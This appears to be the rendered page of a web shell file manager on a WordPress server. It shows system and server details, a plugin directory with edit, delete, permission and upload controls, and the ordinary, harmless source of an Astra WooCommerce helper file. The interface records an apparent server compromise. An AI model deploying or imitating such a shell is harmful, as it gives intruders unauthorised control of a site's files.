[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
astra-addon
/
addons
/
woocommerce
/
classes
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 sections
SET
[ DEL ]
📄 class-astra-customizer-ext-woocommerce-partials.php
1,143 B
SET
[ EDIT ]
|
[ DEL ]
📄 class-astra-ext-woocommerce-loader.php
25,157 B
SET
[ EDIT ]
|
[ DEL ]
📄 class-astra-ext-woocommerce-markup.php
143,380 B
SET
[ EDIT ]
|
[ DEL ]
📄 class-astra-woocommerce-panels-and-sections.php
1,544 B
SET
[ EDIT ]
|
[ DEL ]
📄 common-functions.php
3,651 B
SET
[ EDIT ]
|
[ DEL ]
📄 dynamic.css.php
185,403 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: common-functions.php
<?php /** * Functions for Astra Woocommerce Addon. * * @package Astra * @since Astra 1.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Woocommerce shop/product div close tag. */ if ( ! function_exists( 'astra_woocommerce_div_wrapper_close' ) ) { /** * Woocommerce shop/product div close tag. * * @since 1.1.0 */ function astra_woocommerce_div_wrapper_close() { echo '</div>'; } } /** * Woocommerce shop/product/checkout ul close tag. */ if ( ! function_exists( 'astra_woocommerce_ul_close' ) ) { /** * Woocommerce shop/product/checkout ul close tag. * * @return void */ function astra_woocommerce_ul_close() { echo '</ul>'; } } /** * Woocommerce shop/product/checkout li close tag. */ if ( ! function_exists( 'astra_woocommerce_li_close' ) ) { /** * Woocommerce shop/product/checkout li close tag. * * @return void */ function astra_woocommerce_li_close() { echo '</li>'; } } /** * Two step checkout wrapper */ if ( ! function_exists( 'astra_two_step_checkout_form_wrapper_div' ) ) { /** * Used to wrap the checkout form in a div and include navigation links * * @return void */ function astra_two_step_checkout_form_wrapper_div() { echo '<div class="ast-checkout-slides">'; ?> <ul class="ast-checkout-control-nav"> <li><a href="#"><?php esc_html_e( 'Billing details', 'astra-addon' ); ?></a></li> <li><a href="#"><?php esc_html_e( 'Payments', 'astra-addon' ); ?></a></li> </ul> <?php } } /** * Two step checkout ul wrapper */ if ( ! function_exists( 'astra_two_step_checkout_form_ul_wrapper' ) ) { /** * Used to wrap the checkout form in a ul * * @return void */ function astra_two_step_checkout_form_ul_wrapper() { echo '<ul class="ast-two-step-checkout">'; } } /** * Two step checkout li wrapper */ if ( ! function_exists( 'astra_two_step_checkout_address_li_wrapper' ) ) { /** * Used to wrap the address fields on the ckecout in an li * * @return void */ function astra_two_step_checkout_address_li_wrapper() { echo '<li class="ast-checkout-addresses">'; } } /** * Two step checkout li wrapper */ if ( ! function_exists( 'astra_two_step_checkout_order_review_wrap' ) ) { /** * Used to wrap the order review in an li * * @return void */ function astra_two_step_checkout_order_review_wrap() { echo '<li class="order-review">'; echo '<h3 id="order_review_heading">' . esc_html__( 'Your order', 'astra-addon' ) . '</h3>'; } } /** * Remove shop page description */ if ( ! function_exists( 'astra_woo_remove_shop_page_description' ) ) { /** * Remove desription * * @param string $description Description. * @param obj $post_type_obj Post object. * * @return string */ function astra_woo_remove_shop_page_description( $description, $post_type_obj ) { if ( is_shop() ) { $description = ''; } return $description; } } /** * Array of order review toggler text. * * @param string $text array key to get specific value. * * @return string */ function order_review_toggle_texts( $text = 'show_text' ) { $order_summary_show_text = astra_get_i18n_option( 'checkout-show-summary-text', _x( '%astra%', 'WooCommerce Checkout: Show Summary Text', 'astra-addon' ) ); $order_summary_hide_text = astra_get_i18n_option( 'checkout-hide-summary-text', _x( '%astra%', 'WooCommerce Checkout: Hide Summary Text', 'astra-addon' ) ); $toggle_texts = apply_filters( 'astra_addon_order_review_toggle_texts', array( 'show_text' => esc_html( $order_summary_show_text ), 'hide_text' => esc_html( $order_summary_hide_text ), ) ); return $toggle_texts[ $text ]; }